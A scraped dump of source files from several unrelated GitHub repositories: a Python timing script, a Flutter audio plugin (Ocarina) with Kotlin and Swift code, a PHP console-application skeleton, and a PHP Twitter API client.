if (timeInMicros / 1000000 > 1):
return "s"
elif (timeInMicros/ 1000 > 1):
return "ms"
else:
return "us"
def adjustToTimeUnit(timeInMicros, timeunit):
if timeunit == "s":
return timeInMicros / 1000000
elif timeunit == "ms":
return timeInMicros / 1000
else:
return timeInMicros
def formatProperly(mean, r, timeunit):
mean = adjustToTimeUnit(mean, timeunit)
r = adjustToTimeUnit(r, timeunit)
precision = -round(math.log10(r)) + 1
if precision < 0:
roundedMean = int(round(mean, precision))
roundedRadius = int(round(r, precision))
return "{:d} +- {:d} {}".format(roundedMean, roundedRadius, timeunit)
else:
return "{:.{prec}f} +- {:.{prec}f} {}".format(mean, r, timeunit, prec=precision)
def findMeanEstimate(vals, p=0.95):
N = len(vals)
mean = np.mean(vals)
tinv = st.t.ppf((1 + p)/2, N - 1)
r = tinv*st.sem(vals)/math.sqrt(N)
return (mean, r)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Statistics")
parser.add_argument("executable")
parser.add_argument("--runsCount", type=int, required=True)
parser.add_argument("--cleanup", action="store_true")
args = vars(parser.parse_args())
runsCount = args["runsCount"]
executable = args["executable"]
print("Performing %d runs of \"%s\"" % (runsCount, executable))
outerTimesList = list()
for i in range(runsCount):
begin = time.perf_counter()
system("%s > NUL" % (executable))
end = time.perf_counter()
outerTimesList.append((end - begin) * 1000000)
(mean, r)=findMeanEstimate(outerTimesList)
print(" Outer elapased mean time = %s (sigma = %.0f us)" % (\
formatProperly(mean, r, "s"),\
st.sem(outerTimesList)))
| 02666eb7a01f4129c21a9518d95ba2d0e5cc50ea | [
"Markdown",
"Python"
] | 2 | Markdown | SilverYar/Parallel | 6a1ab9b728a20e2687e9b02ff3855b017a6007b7 | e12ae6a86dd00310cee42fc8ee27dfc49485f38b |
refs/heads/master | <file_sep># Ocarina
Ocarina is a simple and easy to usade audio package for Flutter. Its goal is to support audio play from local file (from assets, or filesystem), And to support it across all platforms that Flutter runs.
Right now, __we only support mobile (Android and iOS)__ and will eventually supporting Web and Desktop (Linux, MacOS and Windows).
## How to use
Using a file on your assets
```dart
final player = OcarinaPlayer(
asset: 'assets/Loop-Menu.wav',
loop: true,
volume: 0.8,
);
await player.load();
```
Using a file on the device filesystem
```dart
final player = OcarinaPlayer(
filePath: '/SomeWhere/On/The/Device/Loop-Menu.wav',
loop: true,
volume: 0.8,
);
await player.load();
```
## Docs
List of all available methods on the player instance
`play`
Starts playing
`pause`
Pauses playback
`resume`
Resume when playback if it was previously paused
`stop`
Stops the playback, it can be started again by calling `play` again.
`seek(Duration)`
Moves the playback postion to the passed `Duration`
`updateVolume(double)`
Updates the volume, must be a value between 0 and 1
`dispose`
Clears the loaded resources in memory, to use the instance again a subsequent call on the `load` method is required
<file_sep>## 0.0.2
* Adding isLoaded method
* Adding dispose method
* Fixing iOS issues
## 0.0.1
* Adding initial implementation
<file_sep>package xyz.erick.ocarina
import android.content.Context
import android.net.Uri
import android.os.storage.StorageVolume
import androidx.annotation.NonNull;
import com.google.android.exoplayer2.Player
import com.google.android.exoplayer2.SimpleExoPlayer
import com.google.android.exoplayer2.extractor.DefaultExtractorsFactory
import com.google.android.exoplayer2.source.ExtractorMediaSource
import com.google.android.exoplayer2.source.MediaSource
import com.google.android.exoplayer2.upstream.DefaultDataSourceFactory
import com.google.android.exoplayer2.util.Util.getUserAgent
import io.flutter.embedding.engine.plugins.FlutterPlugin
import io.flutter.plugin.common.MethodCall
import io.flutter.plugin.common.MethodChannel
import io.flutter.plugin.common.MethodChannel.MethodCallHandler
import io.flutter.plugin.common.MethodChannel.Result
import io.flutter.plugin.common.PluginRegistry.Registrar
import java.lang.RuntimeException
abstract class OcarinaPlayer {
protected var volume: Double;
protected var loop: Boolean;
protected var context: Context;
protected val url: String;
protected lateinit var player: SimpleExoPlayer;
protected lateinit var mediaSource: MediaSource;
constructor(url: String, volume: Double, loop: Boolean, context: Context) {
this.url = url;
this.volume = volume;
this.loop = loop;
this.context = context;
}
// trying to track https://github.com/erickzanardo/ocarina/issues/4
private fun checkInitialized() {
if (!this::player.isInitialized) {
throw RuntimeException("Player is not initialized");
}
if (!this::mediaSource.isInitialized) {
throw RuntimeException("MediaSource is not initialized");
}
}
fun dispose() {
checkInitialized();
player.release();
}
fun play() {
checkInitialized();
if (player.playbackState == Player.STATE_ENDED)
player.seekTo(0);
else if(player.playbackState == Player.STATE_IDLE)
player.prepare(mediaSource);
player.playWhenReady = true;
}
fun stop() {
checkInitialized();
player.stop();
}
fun pause() {
checkInitialized();
player.playWhenReady = false;
}
fun resume() {
checkInitialized();
player.playWhenReady = true;
}
fun load() {
// trying to track https://github.com/erickzanardo/ocarina/issues/4
if (context == null) {
throw RuntimeException("Context is null");
}
player = SimpleExoPlayer.Builder(context).build();
if (loop)
player.repeatMode = Player.REPEAT_MODE_ALL;
else
player.repeatMode = Player.REPEAT_MODE_OFF;
mediaSource = extractMediaSourceFromUri(url);
}
fun seek(position: Long) {
checkInitialized();
player.seekTo(position);
}
fun volume(volume: Double) {
checkInitialized();
this.volume = volume;
player.volume = volume.toFloat();
}
abstract fun extractMediaSourceFromUri(uri: String): MediaSource;
}
class AssetOcarinaPlayer(url: String, volume: Double, loop: Boolean, context: Context) : OcarinaPlayer(url, volume, loop, context) {
private lateinit var flutterAssets: FlutterPlugin.FlutterAssets;
constructor(url: String, volume: Double, loop: Boolean, context: Context, flutterAssets: FlutterPlugin.FlutterAssets): this(url, volume, loop, context) {
this.flutterAssets = flutterAssets;
}
override fun extractMediaSourceFromUri(uri: String): MediaSource {
// trying to track https://github.com/erickzanardo/ocarina/issues/4
if (!this::flutterAssets.isInitialized) {
throw RuntimeException("FlutterAssets is not initialized");
}
val userAgent = getUserAgent(context, "ocarina");
val assetUrl = flutterAssets.getAssetFilePathByName(uri);
// find file on assets
return ExtractorMediaSource(Uri.parse("file:///android_asset/" + assetUrl),
DefaultDataSourceFactory(context,"ua"),
DefaultExtractorsFactory(), null, null);
}
}
class FileOcarinaPlayer(url: String, volume: Double, loop: Boolean, context: Context) : OcarinaPlayer(url, volume, loop, context) {
override fun extractMediaSourceFromUri(uri: String): MediaSource {
val userAgent = getUserAgent(context, "ocarina");
return ExtractorMediaSource(Uri.parse(url),
DefaultDataSourceFactory(context,"ua"),
DefaultExtractorsFactory(), null, null);
}
}
public class OcarinaPlugin: FlutterPlugin, MethodCallHandler {
private lateinit var channel : MethodChannel
private val players = mutableMapOf<Int, OcarinaPlayer>();
private var playerIds = 0;
private lateinit var flutterAssets: FlutterPlugin.FlutterAssets;
private lateinit var context: Context;
override fun onAttachedToEngine(@NonNull flutterPluginBinding: FlutterPlugin.FlutterPluginBinding) {
channel = MethodChannel(flutterPluginBinding.getFlutterEngine().getDartExecutor(), "ocarina")
channel.setMethodCallHandler(this);
flutterAssets = flutterPluginBinding.flutterAssets;
context = flutterPluginBinding.applicationContext;
}
companion object {
@JvmStatic
fun registerWith(registrar: Registrar) {
val channel = MethodChannel(registrar.messenger(), "ocarina")
channel.setMethodCallHandler(OcarinaPlugin())
}
}
override fun onMethodCall(@NonNull call: MethodCall, @NonNull result: Result) {
if (call.method == "load") {
val id = playerIds;
val url = call.argument<String>("url");
val volume = call.argument<Double>("volume");
val loop = call.argument<Boolean>("loop");
val isAsset = call.argument<Boolean>("isAsset");
var player: OcarinaPlayer = if (isAsset!!) {
AssetOcarinaPlayer(url!!, volume!!, loop!!, context, flutterAssets);
} else {
FileOcarinaPlayer(url!!, volume!!, loop!!, context);
}
player.load();
players.put(id, player);
playerIds++;
result.success(id);
} else if (call.method == "play") {
val playerId = call.argument<Int>("playerId");
val player = players[playerId!!];
player!!.play();
result.success(0);
} else if (call.method == "stop") {
val playerId = call.argument<Int>("playerId");
val player = players[playerId!!];
player!!.stop();
result.success(0);
} else if (call.method == "pause") {
val playerId = call.argument<Int>("playerId");
val player = players[playerId!!];
player!!.pause();
result.success(0);
} else if (call.method == "resume") {
val playerId = call.argument<Int>("playerId");
val player = players[playerId!!];
player!!.resume();
result.success(0);
} else if (call.method == "seek") {
val playerId = call.argument<Int>("playerId");
val position = call.argument<Int>("position");
val player = players[playerId!!];
player!!.seek(position!!.toLong());
result.success(0);
} else if (call.method == "volume") {
val playerId = call.argument<Int>("playerId");
val volume = call.argument<Double>("volume");
val player = players[playerId!!];
player!!.volume(volume!!);
result.success(0);
} else if (call.method == "dispose") {
val playerId = call.argument<Int>("playerId");
val player = players[playerId!!];
player!!.dispose();
players.remove(playerId!!);
result.success(0);
} else {
result.notImplemented()
}
}
override fun onDetachedFromEngine(@NonNull binding: FlutterPlugin.FlutterPluginBinding) {
channel.setMethodCallHandler(null)
}
}
<file_sep>import Flutter
import UIKit
import AVFoundation
protocol Player {
init(url: String, volume: Double)
func play() -> Void
func stop() -> Void
func pause() -> Void
func resume() -> Void
func seek(position: Int) -> Void
func volume(volume: Double) -> Void
}
class LoopPlayer: Player {
let player: AVQueuePlayer
let playerLooper: AVPlayerLooper
required init(url: String, volume: Double) {
let asset = AVAsset(url: URL(fileURLWithPath: url ))
let playerItem = AVPlayerItem(asset: asset)
player = AVQueuePlayer(items: [playerItem])
playerLooper = AVPlayerLooper(player: player, templateItem: playerItem)
player.volume = Float(volume)
}
func play() {
player.play()
}
func pause() {
player.pause()
}
func resume() {
player.play()
}
func stop() {
pause()
seek(position: 0)
}
func seek(position: Int) {
player.seek(to: CMTimeMakeWithSeconds(Float64(position / 1000), preferredTimescale: Int32(NSEC_PER_SEC)))
}
func volume(volume: Double) {
player.volume = Float(volume)
}
}
class SinglePlayer: Player {
var player: AVAudioPlayer
required init(url: String, volume: Double) {
try! self.player = AVAudioPlayer(contentsOf: URL(fileURLWithPath: url ))
self.player.volume = Float(volume)
self.player.prepareToPlay()
}
func play() {
seek(position: 0)
player.play()
}
func pause() {
player.pause()
}
func resume() {
player.play()
}
func stop() {
pause()
}
func seek(position: Int) {
player.currentTime = Float64(position / 1000)
}
func volume(volume: Double) {
player.volume = Float(volume)
}
}
public class SwiftOcarinaPlugin: NSObject, FlutterPlugin {
static var players = [Int: Player]()
static var id: Int = 0;
var registrar: FlutterPluginRegistrar? = nil
public static func register(with registrar: FlutterPluginRegistrar) {
let channel = FlutterMethodChannel(name: "ocarina", binaryMessenger: registrar.messenger())
let instance = SwiftOcarinaPlugin()
registrar.addMethodCallDelegate(instance, channel: channel)
instance.registrar = registrar
}
public func handle(_ call: FlutterMethodCall, result: @escaping FlutterResult) {
if (call.method == "load") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let url: String = myArgs["url"] as? String,
let volume: Double = myArgs["volume"] as? Double,
let isAsset: Bool = myArgs["isAsset"] as? Bool,
let loop: Bool = myArgs["loop"] as? Bool {
var assetUrl: String
if (isAsset) {
let key = registrar?.lookupKey(forAsset: url)
assetUrl = Bundle.main.path(forResource: key, ofType: nil)!
} else {
assetUrl = url
}
let id = SwiftOcarinaPlugin.id
if (loop) {
SwiftOcarinaPlugin.players[id] = LoopPlayer(url: assetUrl, volume: volume)
} else {
SwiftOcarinaPlugin.players[id] = SinglePlayer(url: assetUrl, volume: volume)
}
SwiftOcarinaPlugin.id = SwiftOcarinaPlugin.id + 1
result(id)
}
} else if (call.method == "play") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.play()
result(0)
}
} else if (call.method == "pause") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.pause()
result(0)
}
} else if (call.method == "stop") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.stop()
result(0)
}
} else if (call.method == "volume") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int,
let volume: Double = myArgs["volume"] as? Double {
let player = SwiftOcarinaPlugin.players[playerId]
player?.volume(volume: volume)
result(0)
}
} else if (call.method == "resume") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.resume()
result(0)
}
} else if (call.method == "seek") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int,
let positionInMillis: Int = myArgs["position"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.seek(position: positionInMillis)
result(0)
}
} else if (call.method == "dispose") {
guard let args = call.arguments else {
return;
}
if let myArgs = args as? [String: Any],
let playerId: Int = myArgs["playerId"] as? Int {
let player = SwiftOcarinaPlugin.players[playerId]
player?.stop()
SwiftOcarinaPlugin.players[playerId] = nil
result(0)
}
}
}
}
| fd781a2cb3b569d116fddedc04b4363125fbde37 | [
"Markdown",
"Kotlin",
"Swift"
] | 4 | Markdown | alanmeier/ocarina | babd3d739c8b606e3a792eafcb60c0d199fe52ea | c6fddba23bc3463dc4efa099870cca014dbd9334 |
refs/heads/master | <repo_name>janson-git/consoleApp<file_sep>/App/Command/Demo.php
<?php
namespace Command;
class Demo extends Command
{
protected function configure()
{
// That means you want to use this Demo command class as 'demo' console command
// with options '-c', '-p' (alias '--password'), '-h' (alias '--help')
// looks like:
// $ php index.php demons
// $ php index.php demons -h
$this->setName('demo')
->setDescription('Demo command shows example.')
->disableOptions();
}
public function execute()
{
$this->output('DEMO COMMAND');
}
}<file_sep>/App/IOutput.php
<?php
interface IOutput
{
public function write($text);
}<file_sep>/README.md
<h3>Simpliest console application example.</h3>
*Required PHP version >= 5.3*
Simple console app skeleton to create console commands in PHP.
Easy way to add allowed options for command on configure.
It can takes console args like:
```
$ php index.php demo -c path-to-config -p password
$ php index.php demo --config="path-to-config with whitespaces"
```
And it can set parametric options (like -c, -p, --config in example strings) or trigger options (without params).
You can view to App/Command/Demo.php file to take a look example of creating command with options.
<h4>How to create new command</h4>
New command creates in three steps (look for App/Command/FilesList.php file example):
**1. Create a new class in _Command/_ folder and extends it from _Command_ class.**
```php
namespace Command;
class FilesList extends Command
{
}
```
**2. Add protected _configure()_ method to class, and add little piece of code like that:**
```php
protected configure() {
$this->setName('list') // this is the name for command. Used on command calls.
->setDescription('Show list of files in directory')
->addParametricOption('f', 'folder', 'set path to folder. For example: $ php index.php list -f path/to/folder');
}
```
This code means:
- I want create 'list' command
- Help description of command is 'Show list of files in directory'
- it has parametric (with specific value) option '-f', with alias '--folder' that can take some value.
**3. Add public _execute()_ method to class, and write your work code here**
```php
public function execute()
{
// if no option 'f' given
// option checks only by original name, even in command line it used as alias '--folder'
$path = $this->getOptionValue('f');
if ( is_null($path) || !is_null($this->getOptionValue('h'))) {
$this->output($this->getHelp());
exit(1);
}
$dirPath = realpath(ROOT_DIR . DIRECTORY_SEPARATOR . $path);
// Deny view directories not in ROOT_DIR
if (mb_strlen($dirPath) < mb_strlen(ROOT_DIR)) {
throw new \Exception("You are not allowed to view this folder");
}
// check for existing and readable
if (!file_exists($dirPath)) {
throw new \Exception("Directory {$path} not exists");
}
if (!is_readable($dirPath)) {
throw new \Exception("Directory {$path} not readable. Check for permissions.");
}
if (!is_dir($dirPath)) {
throw new \Exception("{$path} is not directory");
}
// get list
$list = scandir($dirPath);
$list = array_filter($list, function($item) {
return !in_array($item, array('.', '..'));
});
// display list
$this->output($list);
}
```
This code check for value of '-f' (or '--folder') option value and get list of files in directory.
**4. And finally add this command to ConsoleApplication in index.php**
```php
// ...
$app = new ConsoleApplication();
$app->addCommand(new \Command\Demo());
$app->addCommand(new \Command\FilesList());
$app->run();
```
**THAT ALL**
Now you can use this command like that:
```
$ php index.php list -f App/Command
$ php index.php list --folder="App"
```
<file_sep>/index.php
<?php
if (PHP_SAPI !== 'cli') {
echo "This application only for command line usage!";
exit(1);
}
define('ROOT_DIR', __DIR__);
spl_autoload_register(function($className) {
$path = ROOT_DIR . '/App';
$fileName = $path . '/' . str_replace("\\", '/', $className) . '.php';
if (!file_exists($fileName)) {
throw new \Exception("File {$fileName} not exists");
}
require_once $fileName;
});
require_once './ConsoleApplication.php';
$app = new ConsoleApplication();
$app->addCommand(new \Command\Demo());
$app->addCommand(new \Command\FilesList());
$app->run();<file_sep>/App/ConsoleOutput.php
<?php
class ConsoleOutput implements IOutput
{
public function write($text)
{
fputs(STDERR, $text . PHP_EOL);
}
}<file_sep>/App/CommandOption.php
<?php
class CommandOption
{
protected $name;
protected $alias;
protected $isParametric;
protected $description = '';
public function __construct($name, $alias = null, $isParametric = false)
{
$this->name = $name;
if (!is_null($alias)) {
$this->alias = $alias;
}
$this->isParametric = (bool) $isParametric;
}
public function setDescription($text)
{
$this->description = $text;
}
public function getDescription()
{
return $this->description;
}
public function getName()
{
return $this->name;
}
public function getAlias()
{
return $this->alias;
}
public function isParametric()
{
return $this->isParametric;
}
} <file_sep>/ConsoleApplication.php
<?php
class ConsoleApplication
{
/** @var \Command\Command[] */
protected $commands;
/** @var IOutput */
protected $output;
public function __construct()
{
$this->output = new ConsoleOutput();
}
public function addCommand(\Command\Command $command)
{
$command->setOutputHandler($this->output);
$this->commands[$command->getName()] = $command;
}
public function run()
{
global $argv;
// Don't change global $argv. Only copy it.
$args = $argv;
// firstParam - script name from command line
array_shift($args);
$commandName = array_shift($args);
if (empty($commandName)) {
$list = array_keys($this->commands);
$this->output->write("Available commands: \n" . implode("\n", $list));
exit;
}
// Possible incoming options as [X] => "--config=someValue"
// change it to two values: [X] => "--config", [X+1] => "someValue"
$argsFiltered = array();
foreach ($args as $arg) {
if (strpos($arg, '--') !== 0) {
array_push($argsFiltered, $arg);
} else {
if (strpos($arg, '=') !== false) {
list($option, $value) = explode('=', $arg, 2);
array_push($argsFiltered, $option, $value);
} else {
array_push($argsFiltered, $arg);
}
}
}
$args = $argsFiltered;
try {
$command = array_key_exists($commandName, $this->commands) ? $this->commands[$commandName] : null;
if (is_null($command)) {
throw new \Exception("Command {$commandName} not exists");
}
// prepare command options and run command
$command->parse($args);
$command->__before();
$command->execute();
$command->__after();
} catch (\Exception $e) {
$this->output->write("Exception: " . $e->getMessage());
}
}
}<file_sep>/App/Command/FilesList.php
<?php
namespace Command;
class FilesList extends Command
{
protected function configure()
{
$this->setName('list') // this is the name for command. Used on command calls.
->setDescription('Show list of files in directory')
->addParametricOption('f', 'folder', 'set path to folder. For example: $ php index.php list -f path/to/folder');
}
public function execute()
{
// if no option 'f' given
$path = $this->getOptionValue('f');
if ( is_null($path) || !is_null($this->getOptionValue('h'))) {
$this->output($this->getHelp());
exit(1);
}
$dirPath = realpath(ROOT_DIR . DIRECTORY_SEPARATOR . $path);
// Deny view directories not in ROOT_DIR
if (mb_strlen($dirPath) < mb_strlen(ROOT_DIR)) {
throw new \Exception("You are not allowed to view this folder");
}
// check for existing and readable
if (!file_exists($dirPath)) {
throw new \Exception("Directory {$path} not exists");
}
if (!is_readable($dirPath)) {
throw new \Exception("Directory {$path} not readable. Check for permissions.");
}
if (!is_dir($dirPath)) {
throw new \Exception("{$path} is not directory");
}
// get list
$list = scandir($dirPath);
$list = array_filter($list, function($item) {
return !in_array($item, array('.', '..'));
});
// display list
$this->output($list);
}
}<file_sep>/App/Command/Command.php
<?php
namespace Command;
use IOutput;
abstract class Command
{
protected $name;
protected $description;
protected $optionsDisabled = false;
protected $previousOption;
protected $currentOption;
protected $currentOptionFullName;
protected $aliases = array();
/** @var \CommandOption[] */
protected $allowedOptions = array();
protected $options = array();
protected $optionDescriptions = array();
/** @var IOutput */
protected $outputHandler;
const HELP_OPTION = 'h';
const HELP_ALIAS = 'help';
public function __construct()
{
$this->setName(strtolower(__CLASS__));
// default 'help' param for all commands. It rewritable in subclass
$this->addTriggerOption(self::HELP_OPTION, self::HELP_ALIAS, 'show this help info');
$this->configure();
}
public function setOutputHandler(IOutput $output)
{
$this->outputHandler = $output;
}
public function __before()
{
// if options disabled but incoming options 'h' is given
if ($this->optionsDisabled) {
if ($this->getOptionValue(self::HELP_OPTION) !== null) {
$this->output($this->getHelp());
exit(1);
}
}
// if we have options parser enabled but no options given to command - show help text
else {
if ( (!empty($this->allowedOptions) && empty($this->options)) || !is_null($this->getOptionValue(self::HELP_OPTION))) {
$this->output($this->getHelp());
exit(1);
}
}
}
public function __after() {}
abstract protected function configure();
abstract public function execute();
public function output($value)
{
if (!is_null($this->outputHandler)) {
if (is_array($value)) {
$value = print_r($value, true);
}
$this->outputHandler->write($value);
}
}
protected function setName($name)
{
$this->name = $name;
return $this;
}
public function getName()
{
return $this->name;
}
protected function setDescription($text)
{
$this->description = $text;
return $this;
}
public function getDescription()
{
return $this->description;
}
/**
* Add option not expected param value.
* @param string $name Long option name, it used like '--config=someValue'
* @param string $alias Short option name, it used like '-c someValue'
* @param string $description Description of option
* @return $this
*/
protected function addTriggerOption($name, $alias = null, $description = null)
{
$option = new \CommandOption($name, $alias, false);
$option->setDescription($description);
$this->allowedOptions[$name] = $option;
$this->updateAliases($name, $alias);
return $this;
}
/**
* Add option that is expected param value.
* @param string $name Long option name, it used like '--config=someValue'
* @param string $alias Short option name, it used like '-c someValue'
* @param string $description Description of option
* @return $this
*/
protected function addParametricOption($name, $alias = null, $description = null)
{
$option = new \CommandOption($name, $alias, true);
$option->setDescription($description);
$this->allowedOptions[$name] = $option;
$this->updateAliases($name, $alias);
return $this;
}
protected function disableOptions()
{
$this->optionsDisabled = true;
return $this;
}
/**
* Inner method to update aliases array.
* @param string $option
* @param string $alias
*/
protected function updateAliases($option, $alias)
{
if (!is_null($alias)) {
$this->aliases[$alias] = $option;
} else {
if (false !== $key = array_search($option, $this->aliases)) {
unset($this->aliases[$key]);
}
}
}
/**
* @param string $name
* @return mixed
*/
protected function getOptionValue($name)
{
return array_key_exists($name, $this->options) ? $this->options[$name] : null;
}
/**
* Combine command manual by command description and command allowed options.
* @return string
*/
protected function getHelp()
{
$strings = array();
if (!empty($this->description)) {
$strings[] = $this->description;
}
$aliases = array_flip($this->aliases);
foreach ($this->allowedOptions as $option) {
$description = $option->getDescription();
$optionName = $option->getName();
$name = $optionName;
if (array_key_exists($optionName, $aliases)) {
$name .= ", --" . $aliases[$optionName];
}
$strings[] = "-{$name} - {$description}";
}
return implode(PHP_EOL, $strings);
}
public function parse($args)
{
$result = array();
// Current state: wait for option (false) or for options data (true)
$waitForData = false;
foreach ($args as $arg) {
$isOption = $this->isOption($arg);
// when we need data, but option given - fail!
if ($waitForData === true && $isOption === true) {
throw new \Exception("Option '{$this->previousOption}' expects some value");
}
if ($isOption) {
if ($this->allowedOptions[$this->currentOptionFullName]->isParametric()) {
$waitForData = true;
} else {
$waitForData = false;
$result[$this->currentOptionFullName] = true;
}
continue;
}
if ($waitForData === false && !$isOption) {
throw new \Exception("Option '{$this->currentOption}' not expect param");
} elseif ($waitForData === true && !$isOption) {
// after $this->isOption() we have full option name in $this->currentOption
$result[$this->currentOptionFullName] = $arg;
$waitForData = false;
}
}
// for last: when we wait options data, but this is end
if ($waitForData === true) {
throw new \Exception("Option '{$this->currentOption}' expects some value");
}
$this->options = $result;
}
protected function isOption($arg)
{
if (preg_match("#\-(?<long>\-)?(?<option>[a-zA-Z\-]{1,})#", $arg, $matches)) {
$isLong = $matches['long'];
$option = $matches['option'];
$fullName = $option;
if ($isLong) {
$fullName = array_key_exists($option, $this->aliases) ? $this->aliases[$option] : $option;
}
if (!array_key_exists($fullName, $this->allowedOptions)) {
throw new \Exception("Unknown option {$arg}");
}
$this->previousOption = $this->currentOption;
$this->currentOption = $option;
$this->currentOptionFullName = $fullName;
return true;
}
return false;
}
} | f7b6778522b2758cd4ace0f08a26c2842e36092f | [
"Markdown",
"PHP"
] | 9 | PHP | janson-git/consoleApp | 54a149740f776917704f97e3cd21ed3c92c92246 | 81cde28bee67432762ac14610395b9c78bb9075e |
refs/heads/master | <repo_name>iobreaker/CSI-Camera<file_sep>/face_detect.py
# MIT License
# Copyright (c) 2019 JetsonHacks
# See LICENSE for OpenCV license and additional information
# https://docs.opencv.org/3.3.1/d7/d8b/tutorial_py_face_detection.html
# On the Jetson Nano, OpenCV comes preinstalled
# Data files are in /usr/sharc/OpenCV
import numpy as np
import cv2
# gstreamer_pipeline returns a GStreamer pipeline for capturing from the CSI camera
# Defaults to 1280x720 @ 30fps
# Flip the image by setting the flip_method (most common values: 0 and 2)
# display_width and display_height determine the size of the window on the screen
def gstreamer_pipeline (capture_width=3280, capture_height=2464, display_width=820, display_height=616, framerate=21, flip_method=0) :
return ('nvarguscamerasrc ! '
'video/x-raw(memory:NVMM), '
'width=(int)%d, height=(int)%d, '
'format=(string)NV12, framerate=(fraction)%d/1 ! '
'nvvidconv flip-method=%d ! '
'video/x-raw, width=(int)%d, height=(int)%d, format=(string)BGRx ! '
'videoconvert ! '
'video/x-raw, format=(string)BGR ! appsink' % (capture_width,capture_height,framerate,flip_method,display_width,display_height))
def face_detect() :
face_cascade = cv2.CascadeClassifier('/usr/share/OpenCV/haarcascades/haarcascade_frontalface_default.xml')
eye_cascade = cv2.CascadeClassifier('/usr/share/OpenCV/haarcascades/haarcascade_eye.xml')
cap = cv2.VideoCapture(gstreamer_pipeline(), cv2.CAP_GSTREAMER)
if cap.isOpened():
cv2.namedWindow('Face Detect', cv2.WINDOW_AUTOSIZE)
while cv2.getWindowProperty('Face Detect',0) >= 0:
ret, img = cap.read()
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
for (x,y,w,h) in faces:
cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
roi_gray = gray[y:y+h, x:x+w]
roi_color = img[y:y+h, x:x+w]
eyes = eye_cascade.detectMultiScale(roi_gray)
for (ex,ey,ew,eh) in eyes:
cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,255,0),2)
cv2.imshow('Face Detect',img)
keyCode = cv2.waitKey(30) & 0xff
# Stop the program on the ESC key
if keyCode == 27:
break
cap.release()
cv2.destroyAllWindows()
else:
print("Unable to open camera")
if __name__ == '__main__':
face_detect()
| a9baf29db38ce7be733594ec788a041b0f94f4a9 | [
"Python"
] | 1 | Python | iobreaker/CSI-Camera | 5a05e1273b9dbdd916c3f4f766b34c2edfe6730f | bb5bc447bf30075318e58595999a75294c9f50b9 |
refs/heads/master | <file_sep><?php
namespace Freebird\Services\freebird;
class Client
{
/**
* Create a new Freebird Client
* @param [string] $consumer_key [Twitter Application Consumer Key]
* @param [string] $consumer_secret [Twitter Application Consumer Secret Key]
*/
public function __construct ()
{
$this->requestHandler = new RequestHandler();
}
public function init_bearer_token ($consumer_key, $consumer_secret)
{
// Establishes Twitter Applications Authentication token for this session.
return $this->requestHandler->authenticateApp($consumer_key, $consumer_secret);
}
public function set_bearer_token ($bearer_token)
{
$this->requestHandler->set_bearer_token($bearer_token);
}
public function get_bearer_token ()
{
return $this->requestHandler->get_bearer_token();
}
/**
* Simple method to make requests to the Twitter API
* @param [string] $path [description]
* @param [array] $options [description]
* @return [json] [description]
*/
public function api_request ($path, $options)
{
$data = $this->requestHandler->request($path, $options);
return json_encode($data->json);
}
}
<file_sep><?php
namespace Freebird\Services\freebird;
/**
* A request handler for Tumblr authentication
* and requests
*/
class RequestHandler
{
private $bearer;
private $client;
/**
* Instantiate a new RequestHandler
*/
public function __construct ()
{
$this->client = new \Guzzle\Http\Client('https://api.twitter.com/1.1');
}
public function set_bearer_token ($bearer_token)
{
$this->bearer = $bearer_token;
}
public function get_bearer_token ()
{
return $this->bearer;
}
/**
* Encodes the Bearer according to twitter's standards
* @param [string] $consumer_key Your Twitter Application Consumer Key
* @param [string] $consumer_secret Your Twitter Application Consumer Secret Key
* @return [string] Your encoded Twitter Bearer token credentials
*/
private function encodeBearer ($consumer_key, $consumer_secret){
// Create Bearer Token as per Twitter recomends at
// https://dev.twitter.com/docs/auth/application-only-auth
$consumer_key = rawurlencode($consumer_key);
$consumer_secret = rawurlencode($consumer_secret);
return base64_encode($consumer_key . ':' . $consumer_secret);
}
/**
* Calling this method will establish the hand shake with Twitter OAuth as an application
* and return this sessions Bearer Token to be used for the call being made
* @param [string] $consumer_key Your Twitter Application Consumer Key
* @param [string] $consumer_secret Your Twitter Application Consumer Secret Key
* @return [string] Twitter OAuth Bearer Access Token
*/
public function authenticateApp ($consumer_key, $consumer_secret) {
$bearer_token = $this->encodeBearer($consumer_key, $consumer_secret);
// Twitter Required Headers
$headers = array(
'Authorization' => 'Basic ' . $bearer_token,
'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'
);
// Twitter Required Body
$body = 'grant_type=client_credentials';
$response = $this->client->post('/oauth2/token', $headers, $body)->send();
$data = $response->json();
$this->bearer = $data['access_token'];
return $this->bearer;
}
/**
* Make a request with this request handler
*
* @param string $path Twitter resource path
* @param array $options the array of params to pass to the resource
*
* @return \stdClass response object
*/
public function request($path, $options)
{
// Ensure we have options
$options ?: array();
$headers = array(
'Authorization' => 'Bearer ' . $this->bearer
);
// GET requests get the params in the query string
$request = $this->client->get($path, $headers);
$request->getQuery()->merge($options);
// Guzzle throws errors, but we collapse them and just grab the
// response, since we deal with this at the \Tumblr\Client level
try {
$response = $request->send();
} catch (\Guzzle\Http\Exception\BadResponseException $e) {
$response = $request->getResponse();
}
// Construct the object that the Client expects to see, and return it
$obj = new \stdClass;
$obj->status = $response->getStatusCode();
$obj->body = $response->getBody();
$obj->headers = $response->getHeaders();
$obj->json = $response->json();
return $obj;
}
}
<file_sep><?php
require __DIR__ . '/../../vendor/autoload.php';
// test simple return of favs data
